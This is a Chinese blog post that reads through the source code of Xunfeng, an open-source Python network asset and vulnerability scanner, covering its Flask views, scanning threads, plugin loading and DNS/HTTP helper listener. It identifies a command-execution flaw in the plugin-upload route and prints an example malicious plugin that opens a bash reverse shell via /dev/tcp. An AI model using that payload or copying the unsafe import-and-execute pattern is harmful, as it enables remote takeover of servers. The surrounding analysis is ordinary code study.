python2.7-巡风源码阅读

推荐个脚本示例网站：https://www.programcreek.com/python/example/404/thread.start_new_thread，里面可以搜索函数在代码中的写法，只有部分函数。

github地址：https://github.com/ysrc/xunfeng  根据官网给出的安装方法安装，然后启动run.sh

#!/bin/bash
sudo mongod --port 65521 --dbpath /opt/xunfeng/db/ &
CURRENT_PATH=`dirname $0`
cd $CURRENT_PATH

XUNFENG_LOG=/var/log/xunfeng
XUNFENG_DB=/var/lib/mongodb

[ ! -d $XUNFENG_LOG ] && mkdir -p ${XUNFENG_LOG}
[ ! -d $XUNFENG_DB ] && mkdir -p ${XUNFENG_DB}

nohup mongod --port 65521 --dbpath=${XUNFENG_DB} --auth  > ${XUNFENG_LOG}/db.log &
nohup /usr/local/bin/python2.7.11 ./Run.py > ${XUNFENG_LOG}/web.log &
nohup /usr/local/bin/python2.7.11 ./aider/Aider.py > ${XUNFENG_LOG}/aider.log &
nohup /usr/local/bin/python2.7.11 ./nascan/NAScan.py > ${XUNFENG_LOG}/scan.log &
nohup /usr/local/bin/python2.7.11 ./vulscan/VulScan.py > ${XUNFENG_LOG}/vul.log &

　　设置mongodb的日志文件，地址。先来阅读下4个python代码。

1)Run.py

2)Aider.py

3)NAScan.py

4)VulScan.py

1.从run.py开始读

from views.View import app

if __name__ == '__main__':
    #app.debug = True
    app.run(threaded=True, port=80,host='0.0.0.0')

去./views/view.py 查看代码。

#/views/view.py　
from flask import request, render_template, redirect, url_for, session, make_response

看到这句，应该是用flask来写的。往下继续看代码，

#/views/view.py　

# 删除所有
@app.route('/deleteall', methods=['post'])
@logincheck
@anticsrf
def Deleteall():
    Mongo.coll['Task'].remove({})
    return 'success'

有两个装饰器函数@anticsrf和@logincheck

看到@logincheck装饰器函数。位于 ./views/lib/Login.py

#/views/lib/Login.py
def logincheck(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            if session.has_key('login'):
                if session['login'] == 'loginsuccess':
                    return f(*args, **kwargs)
                else:
                    return redirect(url_for('Login'))
            else:
                return redirect(url_for('Login'))
        except Exception, e:
            print e
            return redirect(url_for('Error'))

    return wrapper

上面这个装饰器大概功能是这样的，判断会话字典中是否有login的会话，如果login的值为loginsuccess，就能执行/views/view.py下的函数，如果不存在那就定向到Login函数，这个装饰器是登录是否判断的函数。

还有一个anticsrf函数

#./views/lib/AntiCSRF.py
# 检查referer
def anticsrf(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        try:
            if request.referrer and request.referrer.replace('http://', '').split('/')[0] == request.host:
                return f(*args, **kwargs)
            else:
                return redirect(url_for('NotFound'))
        except Exception, e:
            print e
            return redirect(url_for('Error'))

    return wrapper

判断是否有referer和把referer值的http://替换成空，然后用"/"进行分割成数组，取第一个数组和host进行判断，如果不同就返回NotFound函数。

#/views/view.py　
# 删除所有
@app.route('/deleteall', methods=['post'])
@logincheck
@anticsrf
def Deleteall():
    Mongo.coll['Task'].remove({})
    return 'success'

接着看到Deleteall()函数，连接Mongo对象

from . import app, Mongo, page_size, file_path

从__init__.py对象中取函数，后面的大概就是mongodb的连接过程，先略过。

从功能看函数。

#/views/view.py

@app.route('/updateconfig', methods=['get', 'post'])
@logincheck
@anticsrf
def UpdateConfig():
    rsp = 'fail'
    name = request.form.get('name', 'default')
    value = request.form.get('value', '')
    conftype = request.form.get('conftype', '')
    if name and value and conftype:
        if name == 'Masscan' or name == 'Port_list':
            origin_value = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"][name]["value"]
            value = origin_value.split('|')[0] + '|' + value
        elif name == 'Port_list_Flag':
            name = 'Port_list'
            origin_value = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"]['Port_list']["value"]
            value = value + '|' + origin_value.split('|')[1]
        elif name == 'Masscan_Flag':
            name = 'Masscan'
            path = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"]["Masscan"]["value"]
            if len(path.split('|')) == 3:
                path = path.split('|')[1] + "|" + path.split('|')[2]
            else:
                path = path.split('|')[1]
            if value == '1':
                value = '1|' + path
            else:
                value = '0|' + path
        result = Mongo.coll['Config'].update({"type": conftype}, {'$set': {'config.' + name + '.value': value}})
        if result:
            rsp = 'success'
    return rsp

request.form.get('name', 'default') 从get中取name参数的值，默认是default。

        if name == 'Masscan' or name == 'Port_list':
            origin_value = Mongo.coll['Config'].find_one({'type': 'nascan'})["config"][name]["value"]
            value = origin_value.split('|')[0] + '|' + value
　　　　　...#省略
　　　　

　　　　　result = Mongo.coll['Config'].update({"type": conftype}, {'$set': {'config.' + name + '.value': value}})

如果name等于Masscan或者Port_list，就从mongodb去取值，然后把post数据中的value加上去，最后在update上去。

其中有个内容是"网络资产探测列表(必填)",提交的name值不在上面的if判断中，直接update。

post参数：name=Scan_list&value=127.0.0.40-127.0.0.100&conftype=nascan

提交的时候有提示说，修改会立刻触发资产扫描收集，估计是有代码在监控，根据post的参数和一开始运行的四个python脚本，估计是nascan.py

先来解析下nascan.py这个脚本。

先来代码：

        #/nascan/NAScan.py
        CONFIG_INI = get_config()  # 读取配置,读取mongodb里面的数据，位于Config表下的内容
        log.write('info', None, 0, u'获取配置成功')
        STATISTICS = get_statistics()  # 读取统计信息,返回一个日期
        MASSCAN_AC = [0]
        NACHANGE = [0]
        thread.start_new_thread(monitor, (CONFIG_INI,STATISTICS,NACHANGE))  # 心跳线程
        thread.start_new_thread(cruise, (STATISTICS,MASSCAN_AC))  # 失效ip:port记录删除线程
        socket.setdefaulttimeout(int(CONFIG_INI['Timeout']) / 2)  # 设置连接超时
        ac_data = []
        while True:
            now_time = time.localtime()
            now_hour = now_time.tm_hour
            now_day = now_time.tm_mday
            now_date = str(now_time.tm_year) + str(now_time.tm_mon) + str(now_day)
            cy_day, ac_hour = CONFIG_INI['Cycle'].split('|')#资产探测周期
            log.write('info', None, 0, u'扫描规则: ' + str(CONFIG_INI['Cycle']))
            if (now_hour == int(ac_hour) and now_day % int(cy_day) == 0 and now_date not in ac_data) or NACHANGE[0]:  # 判断是否进入扫描时段
                ac_data.append(now_date)
                NACHANGE[0] = 0
                log.write('info', None, 0, u'开始扫描')
                s = start(CONFIG_INI)
                s.masscan_ac = MASSCAN_AC
                s.statistics = STATISTICS
                s.run()
            time.sleep(60)    

先是get_config()函数，读取配置。

#/nascan/lib/common.py
def get_config():
    config = {}
    config_info = mongo.na_db.Config.find_one({"type": "nascan"})
    for name in config_info['config']:
        if name in ['Discern_cms', 'Discern_con', 'Discern_lang', 'Discern_server']:
            config[name] = format_config(name, config_info['config'][name]['value'])#分割处理
        else:
            config[name] = config_info['config'][name]['value']#直接添加
    return config

MASSCAN_AC NACHANGE  这两个变量MASSCAN_AC是系统是否支持masscan的扫描，NACHANGE是用来监控现在的扫描列表和开始的列表有没有变化,如果有变化将NACHANGE[0]改成NACHANGE[1]。接着

        thread.start_new_thread(monitor, (CONFIG_INI,STATISTICS,NACHANGE))  # 心跳线程

　　　　　thread.start_new_thread(cruise, (STATISTICS,MASSCAN_AC))  # 失效ip:port记录删除线程
　　　　　socket.setdefaulttimeout(int(CONFIG_INI['Timeout']) / 2)  # 设置连接超时

进入monitor函数，这个是检测心跳线程的函数。

def monitor(CONFIG_INI, STATISTICS, NACHANGE):
    while True:
        try:
            time_ = datetime.datetime.now()
            date_ = time_.strftime('%Y-%m-%d')
            mongo.na_db.Heartbeat.update({"name": "heartbeat"}, {"$set": {"up_time": time_}})
            if date_ not in STATISTICS: STATISTICS[date_] = {"add": 0, "update": 0, "delete": 0}
            mongo.na_db.Statistics.update({"date": date_}, {"$set": {"info": STATISTICS[date_]}}, upsert=True)
            new_config = get_config() #再次调用get_config, 好像能直接new_config=CONFIG_INI  不知道会不会有问题?应该不会,但是这个是用来监控前后的Scan_list的变化,所以不能改
            if base64.b64encode(CONFIG_INI["Scan_list"]) != base64.b64encode(new_config["Scan_list"]):NACHANGE[0] = 1 # 判断现在的扫描列表和开始的列表有没有变化,如果有变化将NACHANGE[0]改成NACHANGE[1] !  如果要改成python3,这里需要改
            CONFIG_INI.clear()
            CONFIG_INI.update(new_config)#更新成新的new_config,然后睡眠30秒
        except Exception, e:
            print e
        time.sleep(30)

学习到了python if和for语句单行表达的风格：

for i in range(3): print("+1s"); print("+2s")
if len("excited") > 0: print("big news!"); print("+1s")

接着看cruise()函数，记录失效ip:port并删除线程

def cruise(STATISTICS,MASSCAN_AC):
    while True:
        now_str = datetime.datetime.now()
        week = int(now_str.weekday())
        hour = int(now_str.hour)
        if week >= 1 and week <= 5 and hour >= 9 and hour <= 18:  # 非工作时间不删除
            try:
                data = mongo.NA_INFO.find().sort("time", 1)
                for history_info in data:
                    while True:
                        if MASSCAN_AC[0]:  # 如果masscan正在扫描即不进行清理
                            time.sleep(10)
                        else:
                            break
                    ip = history_info['ip']
                    port = history_info['port']
                    try:
                        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        sock.connect((ip, int(port)))
                        sock.close()
                    except Exception as e:
                        time_ = datetime.datetime.now()
                        date_ = time_.strftime('%Y-%m-%d')
                        #对ip:port 进行sock连接,如果连接不上就删除INFO里面ip和port
                        mongo.NA_INFO.remove({"ip": ip, "port": port})
                        log.write('info', None, 0, '%s:%s delete' % (ip, port))
                        STATISTICS[date_]['delete'] += 1
                        del history_info["_id"]
                        history_info['del_time'] = time_
                        history_info['type'] = 'delete'
                        #然后把数据插入到HISTORY表中
                        mongo.NA_HISTORY.insert(history_info)
            except:
                pass
        time.sleep(3600)

接着往下看

                #/nascan/NAScan.py
                s = start(CONFIG_INI)
                s.masscan_ac = MASSCAN_AC
                s.statistics = STATISTICS
                s.run()        

进入start()类来到/nascan/lib/start.py,直接看s.run()函数

    #/nascan/lib/start.py
    def run(self):
        global AC_PORT_LIST
        all_ip_list = []
        for ip in self.scan_list:
            if "/" in ip: ip = cidr.CIDR(ip)
            if not ip:continue
            ip_list = self.get_ip_list(ip)
            if self.mode == 1:#判断maascan是否开启
                self.masscan_path = self.config_ini['Masscan'].split('|')[2]
                self.masscan_rate = self.config_ini['Masscan'].split('|')[1]
                ip_list = self.get_ac_ip(ip_list)
                self.masscan_ac[0] = 1
                AC_PORT_LIST = self.masscan(ip_list)  # 如果安装了Masscan即使用Masscan进行全端口扫描
                if not AC_PORT_LIST: continue
                self.masscan_ac[0] = 0
                for ip_str in AC_PORT_LIST.keys(): self.queue.put(ip_str)  # 将扫描到的ip加入队列
                self.scan_start()  # 开始扫描
            else:
                all_ip_list.extend(ip_list)
        if self.mode == 0:
            if self.icmp: all_ip_list = self.get_ac_ip(all_ip_list)
            for ip_str in all_ip_list: self.queue.put(ip_str)  # 加入队列
            self.scan_start()  # TCP探测模式开始扫描

 其中if "/" in ip: ip = cidr.CIDR(ip) ，支持的格式是 127.0.0.1/24

接着 if self.mode == 1:  #判断maascan是否开启，如果没有开启，将ip添加到all_ip_list这个列表中，如果开启了，就调用masscan进行全端口扫描。

在调用masscan扫描之前，调用了get_ac_ip()函数，get_ac_ip()进行icmp扫描存活ip，将存活的ip再进行masscan扫描。

看到masscan()函数

    def masscan(self, ip):
        try:
            if len(ip) == 0: return
            #取目录下的/plugin/masscan.py ,然后调用masscan进行扫描,再将结果返回
            sys.path.append(sys.path[0] + "/plugin")
            m_scan = __import__("masscan")
            result = m_scan.run(ip, self.masscan_path, self.masscan_rate)
            return result
        except Exception, e:
            print e
            print 'No masscan plugin detected'

masscan -p1-65535 -iL target.log -oL tmp.log --randomize-hosts --rate=20000

用masscan扫描完保存成tmp.log 然后读取完解析结果。

如果没开masscan，那就进行TCP探测模式扫描

#/nascan/lib/scan.py
class scan:
    def __init__(self, task_host, port_list):
        self.ip = task_host
        self.port_list = port_list
        self.config_ini = {}

    def run(self):
        self.timeout = int(self.config_ini['Timeout'])
        for _port in self.port_list:
            self.server = ''
            self.banner = ''
            self.port = int(_port)
            self.scan_port()  # 端口扫描
            if not self.banner:continue
            self.server_discern()  # 服务识别
            if self.server == '':
                web_info = self.try_web()  # 尝试web访问
                if web_info:
                    log.write('web', self.ip, self.port, web_info)
                    time_ = datetime.datetime.now()
                    mongo.NA_INFO.update({'ip': self.ip, 'port': self.port},
                                         {"$set": {'banner': self.banner, 'server': 'web', 'webinfo': web_info,
                                                   'time': time_}})

利用sock去连接端口，然后读取banner，在对banner进行识别，如果端口是80，443，8080的，则发包去识别web服务。

大概每隔一分钟探测是否要进行扫描，以上就是NAScan.py的作用。

再回到View.py 这个文件下。

@app.route('/analysis')
@logincheck
def Analysis():
    ...
    return render_template('analysis.html', ip=ip, record=record, task=task, vul=vul, plugin=plugin, vultype=vultype,
                           trend=sorted(trend, key=lambda x: x['time']), taskpercent=taskpercent, taskalive=taskalive,
                           scanalive=scanalive, server_type=server_type, web_type=web_type)

加载template：analysis.html     ，利用raphael来创建svg矢量图。raphael好像很好用，记录一下。官网：http://dmitrybaranovskiy.github.io/raphael/

 看到添加插件这里的代码，好像有漏洞。

# 新增插件异步
@app.route('/addplugin', methods=['get', 'post'])
@logincheck
@anticsrf
def AddPlugin():
    result = 'fail'
    f = request.files['file']
    isupload = request.form.get('isupload', 'false')
    file_name = ''
    if f:
        fname = secure_filename(f.filename)#处理文件名
        if fname.split('.')[-1] == 'py':
            path = file_path + fname
            if os.path.exists(file_path + fname):
                fname = fname.split('.')[0] + '_' + str(datetime.now().second) + '.py'
                path = file_path + fname
            f.save(path)
            if os.path.exists(path):
                file_name = fname.split('.')[0]
                module = __import__(file_name)
                mark_json = module.get_plugin_info()
                mark_json['filename'] = file_name
                mark_json['add_time'] = datetime.now()
                mark_json['count'] = 0
                if 'source' not in mark_json:
                    mark_json['source'] = 0
                insert_result = Mongo.coll['Plugin'].insert(mark_json)
                if insert_result:
                    result = 'success'
                    file_name = file_name +'.py'

重点看下面这三句话

file_name = fname.split('.')[0]

module = __import__(file_name)

mark_json = module.get_plugin_info()

上传之后的文件名用.进行分割，然后import文件，然后直接执行get_plugin_info() 函数，如果插件是下面这样的就形成了命令执行。

def get_plugin_info():
    import os;
    os.system("bash -i >& /dev/tcp/ip/55444 0>&1");

读完View.py,换成vulscan.py读一下。看看执行步骤。

    init()#先判断数据库中的插件数量,如果小于1那就读取vuldb下的文件,读取他们的详情get_plugin_info()
    PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config()#读取mongodb数据库Config表下type=vulscan的的各个值,有弱口令字典,超时时间,线程数,白名单ip
    thread.start_new_thread(monitor, ())
    while True:
        task_id, task_plan, task_target, task_plugin = queue_get()#获取task表的数据
        if task_id == '':
            time.sleep(10)
            continue
        if PLUGIN_DB:
            del sys.modules[PLUGIN_DB.keys()[0]] # 清理插件缓存,Python中所有加载到内存的模块都放在sys.modules
            PLUGIN_DB.clear()
        for task_netloc in task_target:
            while True:
                if int(thread._count()) < THREAD_COUNT:
                    if task_netloc[0] in WHITE_LIST: break#如果task_netloc的ip在ip白名单里
                    thread.start_new_thread(vulscan, (task_id, task_netloc, task_plugin))
                    break
                else:
                    time.sleep(2)
        if task_plan == 0: na_task.update({"_id": task_id}, {"$set": {"status": 2}})

从这句开始讲，thread.start_new_thread(vulscan, (task_id, task_netloc, task_plugin))

调用vulscan()的类，然后__init__自己调用start()函数

    def start(self):
        self.get_plugin_info()
        if '.json' in self.plugin_info['filename']:  # 标示符检测模式,用json写的exp
            try:
                self.load_json_plugin()  # 读取漏洞标示
                self.set_request()  # 标示符转换为请求
                self.poc_check()  # 检测
            except Exception, e:
                return
        else:  # 脚本检测模式
            plugin_filename = self.plugin_info['filename']
            self.log(str(self.task_netloc) + "call " + self.task_plugin)
            if task_plugin not in PLUGIN_DB:
                plugin_res = __import__(plugin_filename)
                setattr(plugin_res, "PASSWORD_DIC", PASSWORD_DIC)  # 给插件声明密码字典
                PLUGIN_DB[plugin_filename] = plugin_res
            try:
                self.result_info = PLUGIN_DB[plugin_filename].check(str(self.task_netloc[0]), int(self.task_netloc[1]),
                                                                    TIMEOUT)
            except:
                return
        self.save_request()  # 保存结果

他检测两种模式，一种是.json写的，通过self.plugin_info['filename'] 来判断，在mongodb中是这样的，

                self.load_json_plugin()  # 读取漏洞标示
                self.set_request()  # 标示符转换为请求
                self.poc_check()  # 检测

读取/vulscan/vuldb/*.json 下的json文件内容，将plugin读取出来。

    def poc_check(self):
        ......
        ......
        an_type = self.plugin_info['plugin']['analyzing']
        vul_tag = self.plugin_info['plugin']['tag']
        analyzingdata = self.plugin_info['plugin']['analyzingdata']
        if an_type == 'keyword':#关键字匹配
            # print poc['analyzingdata'].encode("utf-8")
            if analyzingdata.encode("utf-8") in res_html: self.result_info = vul_tag#如果analyzingdata的数据在html中
        elif an_type == 'regex':#正则匹配
            if re.search(analyzingdata, res_html, re.I): self.result_info = vul_tag
        elif an_type == 'md5':#md5匹配
            md5 = hashlib.md5()
            md5.update(res_html)
            if md5.hexdigest() == analyzingdata: self.result_info = vul_tag

先去请求url，获取返回的页面内容，通过三种模式匹配，->(关键字匹配，正则匹配，md5匹配)

第二种就是脚本检测模式，

            plugin_filename = self.plugin_info['filename']
            self.log(str(self.task_netloc) + "call " + self.task_plugin)
            if task_plugin not in PLUGIN_DB:#如果PLUGIN_DB里没有task_plugin
                plugin_res = __import__(plugin_filename)#导入plugin_filename的脚本,参考http://www.cnblogs.com/MaggieXiang/archive/2013/06/05/3118156.html
                setattr(plugin_res, "PASSWORD_DIC", PASSWORD_DIC)  # 给插件声明密码字典 ,给对象的属性赋值，若属性不存在，先创建再赋值。
                PLUGIN_DB[plugin_filename] = plugin_res
            try:
                self.result_info = PLUGIN_DB[plugin_filename].check(str(self.task_netloc[0]), int(self.task_netloc[1]),
                                                                    TIMEOUT)#调用脚本中的check(),传进去的是host和port,超时时间
            except:
                return

导入vuldb下的脚本，然后执行check()函数，传入host port timeout。将结果保存到了self.result_info，然后调用self.save_request()函数整理最后的结果。

最后的一个脚本：Aider.py 他绑定了53和8088端口。

这个脚本比较有意思。

ps:如果是用centos搭建，记得关闭防火墙，默认开启，不然dns无法收到远程传来的信息。关闭方法：http://www.cnblogs.com/zhangzhibin/p/6231870.html

剥离开53和8088的脚本。

下面是单独可用的脚本。

# coding:utf-8
import socket,thread,datetime,time

dns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns.bind(('0.0.0.0', 53))while True:
    try:
        time.sleep(1)
        recv, addr = dns.recvfrom(1024)print datetime.datetime.now().strftime('%m-%d %H:%M:%S') + " " + str(addr[0]) + ' Dns Query: ' + recv
    except Exception, e:
        print e
        continue

在Aider.py中多了一句判断，将请求添加到query_history数组中。

if recv not in query_history:query_history.append(recv)

在来看看8088端口的用法

def web_server():
    web = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    web.bind(('0.0.0.0',8088))
    web.listen(10)
    while True:
        try:
            conn,addr = web.accept()
            data = conn.recv(4096)
            req_line = data.split("
")[0]
            path = req_line.split()[1]
            route_list = path.split('/')
            html = "NO"
            if len(route_list) == 3:
                if route_list[1] == 'add':
                    if route_list[2] not in url_history:
                        url_history.append(route_list[2])
                elif route_list[1] == 'check':
                    if route_list[2] in url_history:
                        url_history.remove(route_list[2])
                        html = 'YES'
            else:
                query_str = route_list[1]
                for query_raw in query_history:
                    if query_str in query_raw:
                        query_history.remove(query_raw)
                        html = "YES"
            print datetime.datetime.now().strftime('%m-%d %H:%M:%S') + " " + str(addr[0]) +' web query: ' + path
            raw = "HTTP/1.0 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: %d
Connection: close

%s" %(len(html),html)
            conn.send(raw)
            conn.close()
        except:
            pass

监听8088端口，并接收消息，接着对url中的path进行字符串"/"分割，判断分割后的数组是否等于3，然后检查第二个数组是check还是add。

（1）如果是add先判断“add后面的字符串”是否在url_history数组中，不存在就添加。

（2）如果是check先判断“check后面的字符串”是否在url_history数组中，如果存在，那么就先删除url_history数组中的这个字符串，然后设置返回页面为YES.

如果分割后的数组不为3，去取第二个数组的值，如果第二个数组的值在 query_history数组中，那么就先删除query_history数组中的这个字符串，然后设置返回页面为YES.

一开始Run.sh代码中有nohub，参考文章：http://blog.csdn.net/shanliangliuxing/article/details/12106897

以上就是巡风整个源码的阅读，感谢大佬写出这样的工具。